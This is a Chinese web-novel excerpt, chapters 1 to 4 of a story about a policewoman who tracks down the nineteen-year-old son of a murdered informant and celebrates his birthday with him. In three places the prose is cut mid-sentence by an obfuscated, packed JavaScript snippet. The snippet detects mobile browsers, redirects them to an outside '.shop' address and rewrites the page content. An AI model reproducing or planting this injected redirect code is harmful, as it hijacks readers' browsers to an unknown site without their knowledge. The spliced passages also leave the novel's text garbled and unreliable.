《烈星》 1. Chapter1·十九岁 《烈星》 晋江文学城首发 夜来乌/文 2026.5.8 时年六月,初夏温柔的风裹着午后的慵懒,吹得树叶沙沙作响。 燕港区分局,岑星禾来到师傅老周的办公室,提交了上个月的总结报告。 老周在忙,只指了指桌面。 岑星禾放下后,默不作声地转身。 “不要让自己太紧绷了。” 老周叮嘱她。 岑星禾平静地点头,转身出门时,身后老周传来低低地叹息。 她知道那声叹息是什么意思。 十年前,父亲岑海在追捕一名在逃嫌犯时遭遇车祸殉职,官方结论是因公牺牲,岑星禾始终不信,父亲出事前一周,曾在深夜的书房里打过一个电话,她隔着门缝听见他说:“李峻的东西我还没拿到,我谁都信不过......” 第二天,父亲把家里所有相册都翻了一遍,抽出李峻一家的照片看了很久,再然后父亲就“意外”牺牲了。 岑星禾后来从警校毕业,以第一名的成绩考进父亲生前所在的食品药品犯罪侦查支队,她重启父亲警号,想要继续调查那桩悬而未决的旧案。 她查过所有关于李家灭门的档案。 十年前,泰景宁毒糖浆案导致数名儿童死亡,幕后主使泰显川还在逍遥法外,警方的线人李承在传递证据前被害,李家随后遭遇煤气爆炸,李承父母双亡,妻子双目失明,不久后也病重而亡,儿子李烈被送往福利院。 岑海当时负责此案,出事前最后一条通话记录,是打给李承妻子的。 岑星禾去过福利院,那时李烈早已离开。 她去过李家老宅的废墟,邻居说那孩子后来跟着一个修摩托的师傅走了,再没人见过他。 整整三年,她托了所有能托的人,查不到李烈的任何消息。 她欠他一个交代,欠他好几条命,她欠他的太多了,以至于无法说清到底能补偿给他什么。 他想要什么,她都会给。 那个少年却不给她任何机会了,他一定恨死她了。 岑星禾照旧每个月给那个永远无人接听的手机号发信息。 [李烈,很久没有你的消息,我很担心,希望能和你见一面,盼回复。 ——星禾姐姐留。] * 下午五点,手机响了,岑星禾正准备下班。 “星禾,你之前让我留意的人,好像有消息了。” 电话那头是城西分局的一个同事,“城西派出所今晚带回来一帮打架的,有个小子叫李烈,十九岁,身份证上的照片跟你给的那张有点像。” 岑星禾心头骤然一空,抓起外套就往外跑,打车到城西派出所只用了十一分钟。 大厅里闹哄哄的。 几个小年轻蹲在墙边,身上多多少少挂了彩,嘴里还不干不净地骂着,民警正在做笔录,看见岑星禾进来点了点头:“岑警官,那边。” 她顺着视线看过去。 角落里靠着一个少年,或者说算不上少年了。 他穿黑色皮夹克,里面一件洗得发白的黑T恤,袖子卷到肘部,露出一截结实的小臂,他半靠墙站着,姿势散漫,嘴角破了一道口子,血还没干,完全感觉不到疼似的,正低头点烟。 民警拍了他一下:“这儿不能抽烟。” 他还是接过别人的烟夹在指尖,抬眼看过来。 那是一双极漂亮的眼睛,眼尾微微上挑,瞳色很深,能把人吸进去似的,十九岁的少年已经有了成年男人的轮廓,下颌线锋利,眉骨高,嘴唇薄而寡淡,整个人透着一股桀骜不驯的痞气。 岑星禾一眼认出了他。 那个小时候跟在她屁股后面,奶声奶气喊星禾姐姐的小豆丁,她向前走了两步,还没来得及开口,李烈已经收回了视线。 他往地上啐了一口血沫,懒洋洋地转过头去,好像她只是一个无关紧要的路人。 “李烈。” 她叫了一声。 他没应。 旁边做笔录的民警抬头:“你认识他?” 岑星禾深吸一口气:“认识。” 她走到李烈面前站定。 他比她高了将近一个头,她不得不仰起脸才能看清他的表情,他既不惊讶,也不冷漠,面色淡淡的,看不出喜怒。 “李烈,我找了你很久。” 他终于低下头,垂眼看她。 距离太近了,近到岑星禾能闻见他身上的味道,机车汽油,烟味和一点点血腥气混合在一起,将他整个人的攻击性拉满了。 他扯了扯嘴角,动作牵动了嘴角的伤口,渗出一丝新鲜的血,他笑容极轻,如同野地里烧过的草木灰,风一吹就没了。 “岑警官,”他的声音比少年时期低沉了很多,“找我有事?” 岑星禾愣住,陌生的称呼让她浑身血液凝固起来。 他在提醒她,也在提醒自己,她是警察岑海的女儿,是她父亲是害他家破人亡的人。 “我想跟你谈谈。” “谈什么?”李烈将手中的烟一下捏了捏,“谈你爸利用我爸的事?还是谈你爸害死我全家的事?” 大厅里安静了一瞬。 岑星禾指尖发凉,她没有后退,“都谈。” 李烈盯着她看了几秒,忽然笑了一声,把那根烟攥紧手里,转身走了,“笔录签完了,我可以走了吧?” 民警看了岑星禾一眼,见她没说话,挥了挥手。 李烈大步流星地走出派出所,皮夹克下摆带起一阵风,门口停着一辆黑色机车,杜卡迪怪兽系列,改装过的排气管,车身有几处划痕。 机车旁边站着一个穿牛仔短裤的女孩,看样子和他差不多大,凑到面前和他说话。 不知道他说了什么,女孩一副无所谓的样子,又倚靠到旁边的红色机车上,拿出烟抽出一根,利索地点燃,他看似不耐烦地往后退了一步。 烟雾朦胧中,两人还在交谈,从头到尾李烈没有回头看一眼。 岑星禾站在原地,手指攥紧了衣角,她只记得小时候他很讨厌烟味,见别人抽烟都要捂着鼻子跑开。 他机车后座上绑着一个旧背包,背包带子上挂着一块儿童电子表, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548330|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表盘上奥特曼的图案已经磨得看不清了,那块表她小时候见过,李峻死的那天,李烈一直戴着它。 他长腿一跨坐上去,头盔往头上一扣,引擎轰鸣着消失在夜色里。 岑星禾立马追了出去,跑到路边,拦了一辆出租车。 “师傅,麻烦跟着那辆黑色机车。” 出租车司机从后视镜里看了她一眼,一脚油门跟了上去。 李烈的机车开得不快,像是有意让人跟着,他在城西一个废弃的加油站拐了进去,加油站后面是一片破旧的厂房,门口停着七八辆改装机车,里面是个老修车铺。 李烈把车停好,摘掉头盔甩了甩头发,接着他转身看向路口。出租车停在那儿,岑星禾推门下车。 暮色四合,她在黄昏里一步步走向李烈,他直直看着她,语气不再是派出所里的那种冰冷,“你跟了我一路。” “我说了,我要跟你谈谈。”岑星禾微微皱眉。 晚霞映照着少年棱角分明的脸,她看清了他脸上的伤,嘴角那道口子还在往外渗血,眉骨也青了一块,指节上有擦伤,她下意识伸手想去碰他的脸,被他一偏头躲开了。 “岑警官,”他又用那个称呼,语气变得懒洋洋的,尾音微微上扬,“你这是担心我?” 岑星禾的手僵在半空。 李烈低下头看她,他只需要垂下视线就能把她整个人笼罩在阴影里,就在她不知所措地瞬间,他忽然伸手,捏住了她的下巴。 力道不重,拇指刚好抵在她下颌线的地方,指腹粗粝,带着薄茧,他把她的脸抬起来了一点,逼她直视自己的眼睛。 “你找我三年了,”他声音压得如同机车的引擎在空转,“是为了你爸的事,还是为了别的?” 岑星禾心脏猛地跳了一下。 她想退开,他捏着她下巴的手却没有松开,反而是她退的那一下让他往前跟了一步,两个人之间的距离反而更近了。 她几乎能感受到他胸腔里心跳的频率,年轻而有力,像一头蓄势待伏的狼。 “李烈,你放开。”她尽量让自己的声音听起来平静。 他笑了。 他的笑容很好看,带着痞坏的劲,有种少年人特有的张扬和肆无忌惮。 嘴角的伤口被他笑得又裂开了一点,血珠渗出来,他也不擦,“以前你说我是小屁孩,什么都不懂。” 他慢慢松开手,将那只手插进自己裤兜里,身体微微前倾,“现在我十九了,岑警官,你猜我懂不懂?” 岑星禾喉头发紧,她意识站在她面前的已经不是当年那个八岁的小男孩了,李烈长成了一个男人,一个比她高,比她壮,浑身上下充满攻击性的年轻男人。 他的肩膀很宽,皮夹克绷在肩胛骨上,T恤下摆扎进腰带里,腰身精瘦而结实,她站在他面前,整个人像被他投下的影子吞没了一样。 “你……”她好像失去了作为年长姐姐的掌控,少年的变化让她来不及消化。 “我什么?”李烈歪了歪头,“我该叫你什么?星禾姐姐?还是岑警官?” 每一个字都像是在试探,又像是在挑衅。 2. Chapter2·鸡蛋面 岑星禾深吸一口气,把这股莫名的压迫感压下去,“你叫菩萨我都没意见。”她企图掌握主动权,“你脸上的伤需要处理。” “所以呢?” “跟我去趟医院。” 李烈低头看了一眼她攥紧的拳头,突然伸手握住了她的手腕,他的手掌很大,五指张开能把她整个手腕圈住,拇指按在她脉搏跳动的地方,“不用去医院,你会吗?” “什么?” “包扎。”他抬了抬下巴,示意身后的修车铺,“里面有急救箱,你给我包。”他带着不容拒绝的语气。 岑星禾想说自己不是医生,她看到李烈嘴角那点若有若无的笑意,又明白过来,他不是真的需要她包扎,他是在看她会不会留下来。 “好。” 李烈松开她的手腕,转身往修车铺走,走了两步又停下来,侧过脸看她,霞光落在他的侧脸上,把那道伤口的轮廓照得很清晰。 “跟上来,别走丢了。” 岑星禾攥了攥被他握过的手腕,那里还残留着他掌心的温度,她毫不犹豫地跟了上去。 修车铺的铁皮门半掩着,里面有一股机油和金属的味道,李烈把灯打开,昏黄的灯泡照亮了满墙的工具和零件。 角落里有一张行军床,床上叠着一床薄被,旁边是半箱泡面,这就是他住的地方,岑星禾看着这个狭小的空间,鼻子有些发酸。 李烈把急救箱从架子上拿下来,往她面前一放,大咧咧地坐在行军床上,仰起脸看她。 “来吧。” 他仰脸的时候,喉结的线条一览无余,锁骨从T恤领口露出来,上面有一道旧伤疤,十九岁的身体已经有了成年男性的轮廓,他看她的眼神里,居然还残留着少年那种近乎偏执的认真。 岑星禾蹲下来,打开急救箱。 她蘸了碘伏,一只手托住他的下巴,另一只手轻轻擦拭他嘴角的伤口,碘伏碰到伤口的时候,他皱了一下眉。 “疼吗?”她心头一跳。 “不疼。” “我轻点。” “真的不疼,”他扯了下嘴角声音含混,“比这疼一百倍的我都受过。” 岑星禾的手指顿了一下,八岁那年,他从爆炸的废墟里爬出来,浑身是血,抱着爷爷的手不肯放开。 “对不起。”这三个字在她心里憋了十年。 李烈的睫毛颤了颤,他抬起手,握住了她托着他下巴的那只手,轻轻拉开。 “岑星禾,”他第一次叫了她的全名,“你不用替谁道歉。” “我爸......” “你爸是你爸,你是你。”他松开她的手,站起来,居高临下地看着她,“你找了我三年,不就是想弥补我吗?” 岑星禾仰起脸看他,眼眶已经红了,李烈伸出手,拇指在她眼角蹭了一下,擦掉了一滴还没来得及落下的泪。 “行,”他嘴角那个痞痞的笑容再次浮了上来,“我给你这个机会。” “什么机会?” “照顾我的机会,”他说,“不过我有条件。” 李烈弯下腰,双手撑在她身后的桌子上,把她整个人圈在双臂之间,他离她太近了,近到她的睫毛能扫到他的下巴,少年身上那股机油和烟草的味道铺天盖地地笼罩下来。 “别再用看小屁孩的眼神看我,”他一字一顿地说,“我不小了,岑警官。” 岑星禾的呼吸停了一拍,她看到黑色的瞳仁里倒映着她的脸,表情僵硬,目光掩盖不住地警觉,自己的声音像从井水里冒出来,“你装什么大人。” 他促狭地笑,“不装难道装小孩啊?” 本来也就十九岁,岑星禾暗自腹诽,她把碘伏和棉签收进急救箱,垂下的刘海遮住了她大半的表情。 空气怪异地安静了几秒。 李烈忽然开口:“饿了。” “想吃什么?” “随便吧,”他往行军床上一坐,两条长腿大呲呲伸开,仰头看她,“忙活一晚上,连口饭都没吃上。” 那哪是忙活一晚上,简直是古惑仔街头打群架。 岑星禾看了眼时间,快八点了。 “我点外卖。”她掏出手机。 “外卖?”李烈嗤了一声,下巴微抬,角度刚好露出喉结到锁骨的线条,“那玩意儿多不干净,油不知道炸过多少遍。” 岑星禾抬眼看他:“那你想吃什么?” 李烈没立刻回答,他盯着她看了两秒,“我想吃面。” “什么面?” “你以前给我煮的那种。” 岑星禾愣住了。 她上高中的时候,辗转打听到李烈被送进了城西的一所寄宿中学,每周五放学后,她会坐一个小时的公交车去看他,给他带换洗衣服,偶尔偷偷塞点零花钱。 有一次他发高烧,宿舍管理员不肯开门,她在校门口站了三个小时,最后翻墙进去的。 宿舍里什么都没有,只有一个电热水壶,她用那个水壶给他煮了一碗挂面,打了两个鸡蛋,放了点盐和香油。 他烧得迷迷糊糊,把那碗面吃得一干二净。 后来她每次去,他都让她煮面,他说学校的饭难吃死了,就她煮的面能吃,再后来他退了学,换了手机号,她就再也找不到他了。 “你还记得?”她的声音有点哑。 “记得,”李烈无所谓地点了下头,“这辈子吃过最好吃的面。” 岑星禾别过脸,不想让他看到自己的表情。 “你这里有什么?”她目光扫了一圈这间破旧的修车铺,满墙的工具,满地的零件,连个像样的灶台都没有,角落里有一箱拆开过的康师傅红烧牛肉面,里面空空荡荡的。 “抽屉里有面。”李烈抬了抬下巴,指向靠墙那张歪歪扭扭的桌子。 岑星禾走过去拉开抽屉,里面果然有一包还没拆封的挂面,旁边搁着一双筷子。 “鸡蛋呢?” “冰箱里。” 岑星禾在修车铺里转了一圈,愣是没找到冰箱在哪里,“冰箱在哪儿?” 李烈站起来,走到角落那堆杂物旁边,伸手扯掉一块沾满油污的帆布,下面藏着一台冰箱,看得出来曾经应该是一台白白净净的冰箱。 如今表面糊满黑色机油和金属碎屑,把手上的油垢厚得发亮,整个冰箱像是从废品堆里刨出来的,不仔细看根本认不出这是个冰箱。 岑星禾看了三秒,沉默了。 李烈靠在墙上,双手插兜,嘴角又挂上笑容,“怎么,嫌脏?” “没有。”岑星禾蹲下来拉开冰箱门。 里面倒还算干净,冷藏室里孤零零地躺着几颗鸡蛋,旁边还有两瓶矿泉水,冷冻室结了一层厚厚的霜,里面的东西一览无余,她把鸡蛋拿出来,又在抽屉里翻出一小把葱,葱已经有点蔫了。 “锅呢?”她问。 李烈从床底下拖出一个小型电煮锅,插头线缠得乱七八糟,他递给她的时候,手指不经意地碰了碰她的手背。 “只有这个,”他说,“将就用。” 岑星禾接过锅,在桌上找了个插线板,她先把锅洗了两遍。 水是从修车铺外面水龙头接的,初夏的水到了晚上有些微微刺骨,李烈就靠在门框上看她。 他看得很认真,目光从她的手指移到她的侧脸,又移到她有些发红的指尖,像在看一场很久没见过的电影。 岑星禾能感觉到那道视线。 灼热,直接,毫不掩饰。 李烈直白的情感让她有些无所适从。 她绕过他,走进房间,把水烧上,等水开了下面条,修车铺里没有灶台,没有油烟机,白蒙蒙的水蒸气在昏黄的灯泡下氤氲开来,模糊了两个人之间的距离。 面条煮到七八分熟的时候,她把鸡蛋打进去。 “要溏心的。”李烈低声。 “我知道。” “你还记得我喜欢溏心的?” 岑星禾抿了抿嘴。 鸡蛋在沸水里慢慢裹上白色的蛋花,蛋黄还完整地包在里面,她撒了一小撮盐,几粒葱花,关了火。 “没有碗。”她端着锅转过身,发现李烈不知道什么时候已经站到了她身后。 距离太近了,近到她一转身差点撞进他怀里。 她下意识后退,腰抵住了桌沿,李烈没有退,他低头看着那锅面,又抬头看她,两个人之间只隔了一口冒着热气的锅。 “就这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548331|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃吧,”他伸手接过锅,手指又一次擦过她的,“反正也没碗。” 他把锅放在行军床旁边的小木箱上,自己盘腿坐在地上,拿起筷子就吃。 第一口面入口的时候,他顿了一下,岑星禾站在旁边看着他。 他吃得很慢,每一口都嚼很久,像是在确认什么味道。 “怎么样?”她问。 李烈没抬头,声音有点闷:“咸了。” 岑星禾皱眉:“我只放了一点点盐。” “骗你的,”他嘴角那道上扬的弧度带着少年人特有的恶劣,“刚好。” 岑星禾想打他。 李烈冷不防地夹起一筷子面,举到她面前。 “尝一口?” “我不饿。” “尝一口。”他的筷子稳稳地举在她嘴边,眼神暗含执拗。 岑星禾犹豫了一秒,低头吃了那口面,味道其实很普通,就是盐、鸡蛋和葱花,连香油都没有,李烈却好像吃到了什么了不得的东西,“你是不是也没吃晚饭?” “吃了。” “说谎会长长鼻子。”他抬眸瞥她。 见她表情尴尬,李烈把锅往她那边推了推:“一起吃。” “就一双筷子。” “用我的。”他递给她。 岑星禾看了他一眼,他坦然地把筷子又递过来一点,手指修长,指节上有薄茧和几道旧伤疤。 她接过筷子,吃了一口,又把筷子还给他。 李烈就着那双筷子继续吃,嘴唇碰到她刚才碰过的地方,眼睛一直盯着她。 岑星禾移开了视线。 修车铺里安静得只剩下吸面条的声音和锅底咕嘟的余响,吃到一半,李烈吞下一口面,“你以后别来了。” 岑星禾疑惑地看向他。 “我这里又脏又乱,”他懒洋洋道,“你一个女孩子,大晚上往这儿跑,不安全。” “有什么不安全的?”岑星禾说,“我是警察。” 李烈放下筷子,伸手扣住了她的手腕,力道不大,他把她的手拉过来,按在自己心口的位置,隔着薄薄的T恤,她感受到了他的心跳。 快而有力,像擂鼓。 “怕的是我,”他的声音低到像是从胸腔里碾出来的,“不安全的是我。” 岑星禾的指尖微微发抖,连带着心脏也像被一只手抓住了来回揉搓一样,酸涩难忍,她用了点力,想抽回手,他没有松开。 “李烈,松手。” “再握一会儿。” “……” “逗你的,”他笑了一下,松开了她的手,重新拿起筷子,“你手太凉了,给你捂捂。” 岑星禾把手背到身后蹭了蹭,攥紧了拳头,手心里全是他的温度。 李烈把最后一口汤喝完了,放下锅,抹了一把嘴,他抬头看她的时候,眼神变得很认真,痞痞的调子收了回去,“岑星禾,你今晚住这儿?” “啊?” “你真信了,”他又勾起嘴角,站起来拿起车钥匙,“我送你回去,一个女孩子大晚上不安全。” “那你呢?你嘴角的伤还没贴创可贴。” “死不了。” 他拉开门,夜风灌进来,吹动他额前的碎发。 “走不走?”他回头看她,月光把他整个人镀上一层银色的轮廓。 岑星禾的心还在颤抖,她跟他走出了修车铺。 机车发动的时候,李烈把头盔递给她:“戴上。” “那你呢?” “我是骑车的,你是坐车的,”他把头盔扣在她头上,顺手把带子系好,手指擦过她的耳垂,“听话。” 那两个字说得很轻,却像一颗石子投进了岑星禾的心湖里,荡开一圈又一圈的涟漪。 机车冲进夜色,岑星禾坐在后座,犹豫了很久,终于伸手抓住了他腰侧的衣服。 李烈却腾出一只手,把她的手拽过来,环在了自己腰上。 “抓紧,”他的声音混在风声里,带着点笑意,“别摔了。” 岑星禾的脸贴在他后背上,隔着薄薄的T恤,能感受到他脊背的温度和心跳,快到让人心悸,不知道是机车速度太快,还是别的什么原因。 3. Chapter3·过生日 六月二十九号。 岑星禾下午请了两个小时的假,去派出所附近那家老字号蛋糕店,取一个提前订好的草莓蛋糕,奶油是淡粉色的,上面铺了一层新鲜草莓,红得像一颗颗小心脏,这是她连续第十一年在这家店买草莓蛋糕了。 李烈八岁那年,她提着蛋糕去福利院,在门口等了一下午,他没出现,后来她才知道,那天他被领养家庭接走了,又被退了回来,折腾了整整一天。 她提着那块化了的蛋糕,在福利院门口坐到天黑,之后的每一年,她都会买一个草莓蛋糕,再给他发一条短信。 [李烈,生日快乐,今年也给你买了草莓蛋糕,是你小时候最爱吃的哦] 消息发出去永远没有回复,她还是每年都买,每年都发,好像只要她还在买这个蛋糕,他就还在某个地方好好地过着生日。 今年不一样了,她找到了他。 岑星禾拎着蛋糕盒子走出蛋糕店,路灯刚刚亮起来,暖黄色的光照在奶油盒子上,显得很温柔,她掏出手机,犹豫了一下,还是像往年一样发了那条短信。 [李烈,生日快乐,又买了草莓蛋糕,今天给你过生日哦]。 发完她把手机揣进口袋,准备去打车。 “星禾?” 她回头,看到一辆黑色SUV停在路边,车窗摇下来,露出一张干净温和的脸。 开车的是杨铭,是同单位的师兄,比她大三届,在几次联合行动中相熟后,一直对她颇为照顾。 “师兄。”岑星禾点了点头。 杨铭下了车,看了一眼她手里的蛋糕盒子,笑一下:“今天什么日子?还买了蛋糕。” “一个朋友的生日。”岑星禾说。 “朋友?”杨铭的目光在她脸上停了一瞬,“去哪儿?我送你。” “那边路不好,我打车去吧。” “顺路的事。”杨铭的语气温和但坚持,“这个点路上堵,打车也不方便,你那个朋友住哪儿?城西那边?” 岑星禾愣了一下:“你怎么知道?” “你一直很关注城西的流动人员户口,整个单位都知道你关注的是谁。”杨铭眼神里带着一种自然而然的熟稔,“我刚好也往那边走,顺路。” 岑星禾犹豫了一下。 杨铭这个人说不清楚,他对她好,好得恰到好处,不逾越不冒犯,又让你无法拒绝,支队里有人说他想追她,她不是没感觉到,只是一直没有回应。 “真的不用了。” “岑星禾。” 一个声音从身后传来。 少年的声音带着粗粝的质感,像机车的引擎在空转。 岑星禾转过身。 路灯下,一辆黑色机车赫然停在路边。 李烈一条腿撑着地,另一只脚踩在脚踏上,皮夹克的领口立着,遮住了半张脸,那双眼珠乌黑,水润润的,此刻正死死地盯着杨铭。 “你怎么来了?”岑星禾有些意外。 李烈没回答她的问题,把头盔摘下来,挂在车把上,下了车,朝她走过来。 他走路的姿态很散漫,皮靴踩在柏油路面上,一下一下的,如同踩着某种蓝调节奏,岑星禾注意到了,他的目光始终没有离开杨铭,甚至带着一种敌意的审视。 像一头狼在盯另一头狼。 “你不是说要来给我过生日?”李烈在她面前站定,声音足够让杨铭听得清晰,“我来接你。” 岑星禾皱了皱眉:“你怎么知道我在这儿?” 李烈看了她一眼,嘴角微微扯了一下。 “你每年都在这家店买蛋糕,”他头微微歪着,眼神藏着坏劲,“还在同一个时间发短信。” 岑星禾愣住了。 她发的那些短信,他全都看了。 每一条,每一年。 “你不是从来不回吗?”她的声音有点哑。 “没说不看。”李烈抬起眼看向杨铭,“这位是?” “我师兄杨铭。”岑星禾说,“我们单位的。” “哦,师兄啊。”李烈把师兄两个字咬得很重,他伸手握住了岑星禾拎蛋糕的那只手,“走吧,面还没煮。” 岑星禾下意识想抽手。 他握得很紧,拇指刚好按在她脉搏跳动的地方。 “你师兄不是还要忙吗?”李烈散漫杨眉,拖着长长的腔调,“不耽误你了,师兄。” 杨铭的目光落在他们交握的手上,停了一秒,然后笑了笑,很得体。 “好,那你们先忙。”他看向岑星禾,“星禾,改天再聊。” “师兄再见。”岑星禾说。 杨铭上了车,SUV缓缓驶离,后视镜里,他的目光似乎还在看后视镜里的他们。 李烈直到那辆车消失在路口才松开她的手。 “上车。”他语气不太好。 岑星禾轻咬下唇,拎着蛋糕坐上了后座。 机车发动的时候,她照例抓住他腰侧的衣服,这次李烈没有等她自己环上来,先行拽过她的手,用力扣在自己腰上。 “抱紧。”他的声音被风吹得有些模糊。 岑星禾的手指贴着他腹部的肌肉线条,隔着薄薄的T恤,能感觉到他的体温比平时高。 车开得很快,比平时快得多。 岑星禾想说他超速了。 风灌进嘴里,什么声音都被吞掉了,她只能把脸埋在他后背上,一只手攥着他腰侧的衣服,另一只手死死护着蛋糕盒子。 前面的路口,李烈忽然急刹车。 岑星禾整个人撞到他后背上,额头磕在他肩胛骨上,蛋糕盒子差点飞出去。 “你干什么?”她带着颤音。 “红灯。”李烈说。 岑星禾看了一眼信号灯,黄灯刚变红,他明明可以慢慢停的,他是故意的。 “李烈,你好好开车。” 风中她的声音变得十分严肃,这个时候再挑衅她无异于自掘坟墓,这个少年还算有眼色。 绿灯亮了,机车重新启动,这一次开得稳了一些,岑星禾注意到,他的手一直紧紧攥着车把,脊背紧绷着。 * 到了修车铺,李烈把车停好,摘了头盔,甩了甩头发,他没有像往常一样回头看她,径直走进了铁皮棚子,把皮夹克脱下来,随手扔在床上。 岑星禾拎着蛋糕跟进去,把盒子放在桌上。 修车铺里还是老样子,机油味,各种金属工具和一张行军床,角落里不知什么时候多了一整箱刚拆的康师傅红烧牛肉面,昏黄的暖色调显得整个空间更加狭小。 李烈靠在墙上,双手插兜,下巴微抬看着她,不咸不淡地开腔,“那个杨师兄对你挺好的?” 岑星禾把蛋糕盒子打开,头也没抬:“他人不错。” “我问你他对你好不好,没问你他人怎么样。” 岑星禾终于抬起头,看了他一眼,李烈黑润的眼眸里多了一丝不安,像极了小时候送他回福利院,他流露出的那种忐忑不安,他会一遍遍向她确认:姐姐,下周你还会来吗? 岑星禾会告诉他:“当然,你要等我哦。” “李烈,你到底想说什么?” 她忍受不了他一次次对她的底线进行试探。 因为她永远都会原谅他,永远都会包容他。 她根本分不清自己的情感是愧疚还是回应。 李烈漫不经心地转着手机,眉眼冷冽,一双很有攻击性的眼眸却始终没离开她,“你跟他什么关系?” “同事。” “同事会这么晚送你回家?” “他没有送我,我拒绝了。” “那他看你的眼神......”李烈把后半句咽了回去,换了个说法,“他是不是在追你?” 岑星禾放下手里的蛋糕叉。 十九岁的少年站在昏黄的灯光下,皮夹克脱了,只穿一件黑色T恤,能够透过T恤看出他的身上很有力量,他的下颌线绷得很紧,薄唇抿着,浑身上下都是一副不受约束的野性。 这个少年对她的占有欲已经达到了顶峰,可她明明找了他三年,他都不肯出现。 “李烈,就算他追我也很正常,我这个年纪谈恋爱,不是很正常的事吗?我妈之前还要给我安排相亲呢。” 话音刚落,她就知道说错话了。 李烈的眼睛一瞬间变了。 那种痞气的东西全部褪去,露出底下真实和灼热的偏执情绪,他猛地从墙边走过来,一把抓住她的手腕,用力一带。 岑星禾的腿弯撞到行军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548332|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床的边缘,整个人失去重心,向后倒去,她跌在了行军床上。 李烈俯身压下来,一只手撑在她耳侧,另一只手扣着她的手腕,按在头顶上方,他的眼睛里压抑着即将崩裂的红。 “你再说一遍。”他声线压得很低。 岑星禾仰面躺着,长发散在行军床的薄被上,李烈的手臂撑在她脸侧,青筋从手背一直蔓延到小臂,暴起一道一道的纹路。 她的发梢扫在他的手臂上,像羽毛,像燎原的火。 “李烈,你放开我。”她尽量让声音平静。 “我不放。” “你凭什么管我谈不谈恋爱?” “凭什么?”李烈的额头几乎要碰到她的,滚烫呼吸全喷在她脸上,“岑星禾,你说你欠我的,你说你要照顾我,你就是这么照顾我的吗?” “那是......” “那你现在凭什么说走就走?”他的声音忽然哑了,“凭什么跟别的男人笑?凭什么让他送你回家?凭什么......”他的嘴唇几乎要碰到她的,只差一毫米。 岑星禾闭上了眼睛,睫毛在颤,她就那么闭着眼睛,躺在那里,犹如一片被风吹落的叶子。 李烈停住了。 他看见她闭眼的那一刻,眼尾有一道很细很细的光,蓄在眼角,在昏黄的灯光下闪了一下,他的心脏像被人攥住了,他猛地松开她的手,撑起身体退开一步,“对不起。” 不可一世的少年也会有慌张的时候,岑星禾睁开眼睛,拂了把被弄乱的头发。 他坐在行军床的边缘,背对着她,双手撑在膝盖上,低着头,T恤后背的位置有一小块汗湿的痕迹,肩胛骨的轮廓透过薄薄的布料,像两把收拢的刀。 “没关系。”岑星禾慢慢坐起来,声音平静得不像刚被人按倒在床上,“我是来给你过生日的。” 岑星禾站起来,走到桌边,把蛋糕盒子完全打开,草莓蛋糕完好无损,淡粉色的奶油上,粉色的草莓安安静静地躺着,一切都还是美好的。 她不想让这个小插曲破坏这个生日,也不想再去深究他的想法,她只想让这个夜晚完美一点。 她插上一根蜡烛,声音中掺杂着一丝喜悦,“李烈,快来。” 他终于转过身来。 十九岁的少年眼眶还是红的,情绪已经收了大半,只剩下眼底那一点固执的光,他看着桌上的蛋糕,看着她手里的打火机,嘴唇动了动,没说出话来。 岑星禾把蜡烛点燃,小小的火苗在修车铺里跳动着,照亮了她半张脸,“许愿吧。” 李烈走过来,在她对面坐下,他盯着那根蜡烛看了很久,久到蜡烛油开始往下淌,滴在奶油上。“许什么愿都行?” “当然了。” “那你帮我许。” 岑星禾无意识将耳边的碎发别好,“你的生日怎么让我帮你许?” 李烈看着她,眼神很深,“我的愿望跟你有关,你许了才算。” 岑星禾的心脏跳了一下,内心是片刻的兵荒马乱。 她看着那根蜡烛,闭上眼几秒,接着睁开眼,轻轻吹了一口气,火苗灭了,青烟袅袅地升起来,散在昏黄的灯光里。 “许了什么?”李烈身体微微向前,认真地看着她。 “说出来就不灵了。” 他随性散漫地撤回身体,唇角弧度带着一种坏坏的笑意,“那就不说。” 岑星禾拿起蛋糕刀开始切蛋糕,草莓奶油沾在刀上,切了一块递给他。 李烈接过盘子,伸出食指在蛋糕边缘刮了一点奶油,以极快的速度点在了岑星禾的鼻尖上,冰凉的奶油沾在鼻头上,岑星禾整个人僵住了。 “李烈!” “嗯?”他歪着头看她,嘴角那道上扬的弧度带着少年人特有的恶劣,“怎么了?” “你多大了?”岑星禾伸手去擦鼻子,奶油蹭到手背上,黏糊糊的。 “十九。”李烈说,“我觉得我比你大。” “你比我小三岁。” “我说的是心理年龄,”他一本正经地说,“你太幼稚了。” 岑星禾气笑了:“我幼稚?” “嗯,”李烈盯着她鼻尖上残留的那点奶油,幽幽出声,“你连别人追你都看不出来,还不幼稚?” 4. Chapter4·有线索 岑星禾的笑容收了收,“李烈。” “吃蛋糕。”他打断她,把叉子塞进她手里,“不是说给我过生日吗?” 